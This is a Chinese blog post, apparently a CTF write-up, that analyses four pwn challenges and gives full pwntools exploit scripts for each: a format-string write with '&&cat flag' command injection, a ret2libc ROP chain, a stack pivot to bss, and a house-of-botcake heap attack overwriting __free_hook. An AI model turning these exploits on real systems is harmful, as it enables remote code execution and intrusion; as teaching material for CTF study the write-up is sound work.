首页 > 其他分享 >dasdasda

dasdasda

时间:2022-08-24 11:34:37浏览次数:37  
标签:puts libc system bss recvuntil main dasdasda


title: 峻极pwn


本文主要记录一下周日的比赛,和同学商量写出了3题

warmpwn

保护检查

image-20220403211251919

发现保护全开

IDA分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-ECh] BYREF
  int *v5; // [rsp+8h] [rbp-E8h]
  char format[112]; // [rsp+10h] [rbp-E0h] BYREF
  char s[104]; // [rsp+80h] [rbp-70h] BYREF
  unsigned __int64 v8; // [rsp+E8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v4 = 4321;
  v5 = &v4;
  sub_12EE(a1, a2, a3);
  sub_13E3();
  puts("Please say someting:");
  __isoc99_scanf("%s", format);
  printf(format);
  if ( v4 == 1234 )
  {
    puts("\nI will do someting for you!");
    puts("Tell me what should I do~");
    memset(s, 0, 0x64uLL);
    strcpy(s, "ls ");
    sub_1359(&s[3], 20LL);
    if ( strlen(s) == 18 )
      system(s);
  }
  return 0LL;
}

通过反编译可以看到print(format)存在格式化字符串漏洞修改v4的值使其通过if判断

在printf处下断点

image-20220403214230266

v4处存放的值为4321,即0x10e1,注意到程序中v5=&v4,这里我们选择修改v5,即第七个参数,因为64位程序中参数的传递方式:当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。当参数为7个及以上时, 前 6 个与前面一样, 但后面的依次放入栈中,即和32位程序一样,而格式化字符串作为printf函数的第一个参数,则应存放在RDI寄存器中,

则对应v5对应的偏移为5+2=7,有了偏移之后,我们可以利用%k$n修改v5进而修改v4的值(%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。)

我们要修改v4的值为1234,则我们可先输出1234个字符,这里可以利用%01234d或%01234u输出1234个0(0补齐时在宽度前加点“.”或“0”)

即可通过if语句判断,然后发现如果s的长度为18的话,会执行system(s),这里发现sub_1359可以从s的第4位往后读入数据,而前三位被填入’ls ‘,这里可以通过“&&”(逻辑与,命令1&&命令2,当命令1正确执行后,才会执行命令2),当让system函数执行ls后执行cat flag,‘&&cat flag’占10个字节,我们需在输入5个空格即可通过if ( strlen(s) == 18 )的检查(3+10+5=18),从而打印处flag

exp

from pwn import*
context.log_level='debug'
#p=remote('121.40.213.105',11001)
p=process('./warmpwn')
p.recvuntil('Please say someting:')
payload='%01234d'+'%7$n'
p.sendline(payload)
p.recvuntil('Tell me what should I do~')
p.sendline('&&cat flag     ')
p.interactive()

easyrop1

保护检查

image-20220403220301381

IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char name[256]; // [rsp+0h] [rbp-100h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("welcome to the Ayaka's world!");
  puts("now tell me your name:");
  gets(name);
  printf("hello %s", name);
  return 0;
}

程序很简单,漏洞也很明显,构造rop进行泄露即可

首先寻找程序中可用的gadgets

image-20220403220537837

ret2libc的正常利用即可,程序中给出了puts的plt地址和got地址,首先构造rop链泄露出puts函数的真正地址,记得构造返回地址为main函数,然后构造出system('/bin/sh')的rop链get shell

这里值得说的有两点:

1.puts函数的接收,在64位计算机中,一个地址的长度是8字节,但是实际的操作系统中,一个地址的最高位的两个字节是00,而且实际的函数地址是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取低6字节值,然后通过ljust函数把最高位的两字节填充成00。

2.最后一个rop链的构造多加了一个p64(ret_addr)是因为libc版本>2.27的时候call system要16位对齐,所以这里多了一个ret

exp:

from pwn import *
context.log_level='debug'
p=remote('121.40.196.158',12000)
#p=process('./easyrop1')
elf=ELF('./easyrop1')
libc=ELF('./libc-2.27.so')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rdi_ret=0x00040070c
ret_addr=0x00040053e
main_addr=elf.symbols['main']
p.recvuntil("now tell me your name:\n")
payload='a'*0x108+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search('/bin/sh'))

p.recvuntil("now tell me your name:\n")
payload='a'*0x108+p64(ret_addr)+p64(rdi_ret)+p64(binsh)+p64(system)


p.sendline(payload)
p.interactive()

easyrop2

保护检查

image-20220404201826467

IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  init();
  system("echo waaaaa~ let me see you deigei deigei,let me see you hash hash");
  puts("welcome to the Ayaka's world!");
  puts("please tell me your height");
  __isoc99_scanf("%lld", &height);
  puts("please tell me your weight");
  __isoc99_scanf("%lld", &weight);
  puts("please tell me your age");
  __isoc99_scanf("%lld", &age);
  puts("now ,tell me your name");
  read(0, buf, 0x110uLL);
  printf("hello,%s", buf);
  return 0;
}

.bss:00000000006014A0                 public age
.bss:00000000006014A0 age             db    ? ;               ; DATA XREF: main+86↑o
.bss:00000000006014A1                 db    ? ;
.bss:00000000006014A2                 db    ? ;
.bss:00000000006014A3                 db    ? ;
.bss:00000000006014A4                 db    ? ;
.bss:00000000006014A5                 db    ? ;
.bss:00000000006014A6                 db    ? ;
.bss:00000000006014A7                 db    ? ;
.bss:00000000006014A8                 public weight
.bss:00000000006014A8 weight          db    ? ;               ; DATA XREF: main+62↑o
.bss:00000000006014A9                 db    ? ;
.bss:00000000006014AA                 db    ? ;
.bss:00000000006014AB                 db    ? ;
.bss:00000000006014AC                 db    ? ;
.bss:00000000006014AD                 db    ? ;
.bss:00000000006014AE                 db    ? ;
.bss:00000000006014AF                 db    ? ;
.bss:00000000006014B0                 public height
.bss:00000000006014B0 height          db    ? ;               ; DATA XREF: main+3E↑o
.bss:00000000006014B1                 db    ? ;

发现程序中存在明显的栈溢出漏洞,但是我们只能控制0x10个字节,仅能控制ebp和返回地址,无法构造较长的rop链,因此考虑利用栈迁移攻击手法(具体利用方法百度搜索),看到程序中height weight age 三个变量存在bss段,则我们可以利用这三个变量构造出system("/bin/sh"),然后跳转至bss段,执行system函数。

程序中没有开启PIE,则直接找system函数的plt表地址即可

.plt:0000000000400610 _system         proc near               ; CODE XREF: main+21↓p
.plt:0000000000400610                 jmp     cs:off_601028
.plt:0000000000400610 _system         endp
.plt:0000000000400610

然后寻找程序中的可用的gadgets (我们需要pop rdi;ret 和ret)

image-20220404203510313

程序中不存在“/bin/sh"字符串,但发现存在”sh“字符串,利用system("sh")也可get shell

image-20220404203622525

注意再利用两次leave操作mov esp,ebp;pop ebp;mov esp,ebp;pop ebp;将esp寄存器中的值变成我们想让它成为的值。由于最后还有一个pop ebp操作多余,64位下该操作将导致esp-8,所以在构造ret的数据时应当考虑到将数据放到我们构造的esp地址-8的位置。

所以我们应覆盖ebp为age_addr-8(即相应的bss地址-8)。然后程序跳转至bss段后,就会从age_addr 开始执行,执行我们构造的system(“sh”)

exp

from pwn import *
context.log_level='debug'
#r=remote('121.40.196.158',12001)
r=process('./easyrop2')
system_addr=0x400610
sh_addr=0x00400938
pop_rdi=0x004008d3
r.recvuntil("please tell me your height\n") 
r.sendline(str(system_addr))
r.recvuntil("please tell me your weight\n")
r.sendline(str(sh_addr))  
r.recvuntil("please tell me your age\n")
r.sendline(str(pop_rdi))
bss=0x6014a0
leave_ret=0x400862
r.recvuntil("now ,tell me your name\n")
payload='a'*0x100+p64(bss-8)+p64(leave_ret)
r.sendline(payload)
r.interactive()

easypwn

保护检查

image-20220403221525102

保护全开

IDA分析

add函数对堆块的格式做了限制,最多16个,堆块的大小最大为0x110

unsigned int add()
{
  int v0; // ebx
  _QWORD *i; // rax
  unsigned int result; // eax
  signed int v3; // ebp
  void *v4; // rax
  char *v5; // rbx

  v0 = 0;
  for ( i = &unk_4040; *i; i += 2 )
  {
    if ( ++v0 == 15 )
      return puts("Full!");
  }
  __printf_chk(1LL, "size: ");
  result = sub_14C0();
  v3 = result;
  if ( result <= 0x110 )
  {
    v4 = malloc((int)result);
    v5 = (char *)&unk_4040 + 16 * v0;
    *(_QWORD *)v5 = v4;
    if ( !v4 )
    {
      puts("malloc error");
      exit(0);
    }
    __printf_chk(1LL, "content: ");
    sub_1440(*(void **)v5, v3);
    *((_DWORD *)v5 + 2) = v3;
    return puts("Success~");
  }
  return result;
}

del函数 free后没有把指针置0,存在UAF或double free漏洞

int del()
{
  void **v0; // rax

  __printf_chk(1LL, "index: ");
  LODWORD(v0) = sub_14C0();
  if ( (unsigned int)v0 <= 0xE )
  {
    v0 = (void **)((char *)&unk_4040 + 16 * (int)v0);
    if ( *v0 )
    {
      free(*v0);
      LODWORD(v0) = puts("Success~");
    }
  }
  return (int)v0;
}

view存在可泄露堆块的内容,可以用来泄露libc基址

int view()
{
  const void **v0; // rax
  const void **v1; // rbx

  __printf_chk(1LL, "index: ");
  LODWORD(v0) = sub_14C0();
  if ( (unsigned int)v0 <= 0xE )
  {
    v0 = (const void **)((char *)&unk_4040 + 16 * (int)v0);
    v1 = v0;
    if ( *v0 )
    {
      __printf_chk(1LL, "content: ");
      write(1, *v1, *((int *)v1 + 2));
      LODWORD(v0) = putchar(10);
    }
  }
  return (int)v0;
}

clean清空堆块内容

int clean()
{
  void **v0; // rax

  __printf_chk(1LL, "index: ");
  LODWORD(v0) = sub_14C0();
  if ( (unsigned int)v0 <= 0xE )
  {
    v0 = (void **)((char *)&unk_4040 + 16 * (int)v0);
    if ( *v0 )
    {
      memset(*v0, 0, *((int *)v0 + 2));
      LODWORD(v0) = puts("Success~");
    }
  }
  return (int)v0;
}

漏洞利用

这里我们选择利用house of botcake

在 glibc 2.29 当中 tcache 增加了 key 字段,让原本的 tcache-dup 不像原来那么简单了。一般来说我们需要破坏 key 字段,才能继续进行 double free。而 house of botcake 采用的思想是避免出现 key 字段那么就无需覆盖。他是在填满 tcache 之后,再连续释放两个相邻的堆块使其合并放到 unsorted bin 里,这样就不会产生 key 字段,然后从 tcache 中申请出一个堆块,再释放合并进入 unsorted bin 的后释放的堆块。那么这个 chunk 既出现在 tcache 里,又出现在 unsorted bin 里。 我们通过申请合理的堆块就可以控制 tcache 的 next 指针,从而达到任意地址分配。

首先先创建7个chunk,后面的chunk 7,8,9,10用于后续的利用,如果在填满tcache之后再add,则会使用tcache bin中的chunk,所以我们提前创建好

for i in range(7):
    add(0x90,'aaaa')
add(0x90,'bbbb') #7
add(0x90,'cccc') #8
add(0x90,'dddd') #9
add(0x90,'eeee') #10

然后我们delete最开始的7个chunk ,填满tcache bin

for i in range(7):
    delete(i)

再连续释放两个相邻的堆块使其合并放到 unsorted bin 里,这样就不会产生 key 字段

delete(8)
delete(9)

image-20220403222905538

发现chunk8和chunk9合并为unsortbin,这是我们就可以利用view泄露出main_arena地址

image-20220403223050791

这里指向了main_arena+96,我们接收时需减去96

image-20220403223547712

将libc文件放入IDA,然后寻找malloc_trim函数。0x1ECB80即为main_arena的偏移

此时我们通过计算可得libc的基址

然后从 tcache 中申请出一个堆块,再释放一个 unsorted bin 中的堆块(chunk9)。那么这个 chunk 9既出现在 tcache 里,又出现在 unsorted bin 里。

然后我们再申请一个chunk12(0x110),这个chunk会从unsorted bin中分割(正好可以控制chunk 9),如下所示

image-20220403224630373

我们修改chunk9的fd使其指向free_hook

image-20220403224812540

然后申请出chunk13写入’/bin/sh\x00‘,然后再申请一个chunk,即申请到了free_hook,这里我们修改其为system函数,删除chunk13,即可调用system('/bin/sh\x00'),getshell

exp:

from pwn import*
context.log_level='debug'
p=remote('121.40.213.105', 11002)
#p=process('./easypwn')
elf=ELF('./easypwn')
libc=ELF('./libc-2.31.so')
def add(size,content):
    p.recvuntil('command>>')
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def show(idx):
    p.recvuntil('command>>')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))

def clean(idx):
    p.recvuntil('command>>')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('command>>')
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(idx))
for i in range(7):
    add(0x90,'aaaa')
add(0x90,'bbbb') #7
add(0x90,'cccc') #8
add(0x90,'dddd') #9
add(0x90,'eeee') #10
for i in range(7):
    delete(i)
delete(8)
delete(9)
show(8)
p.recvuntil('content: ')
main_arena = u64(p.recv(6).ljust(8,b'\x00')) - 96
log.success('main arena: '+hex(main_arena))
libc_base = main_arena - 0x1ecb80
log.success('libc base: '+hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
sys=libc_base+libc.symbols['system']
add(0x90,'a') #11   real=6
delete(9)
payload=p64(0)*19+p64(0xa1)+p64(free_hook)
add(0x110,payload) #12  real=8+9
add(0x90,b'/bin/sh\x00')
add(0x90,p64(sys))
delete(13)

p.interactive()

标签:puts,libc,system,bss,recvuntil,main,dasdasda
From: https://www.cnblogs.com/chuwe1/p/16619255.html

相关文章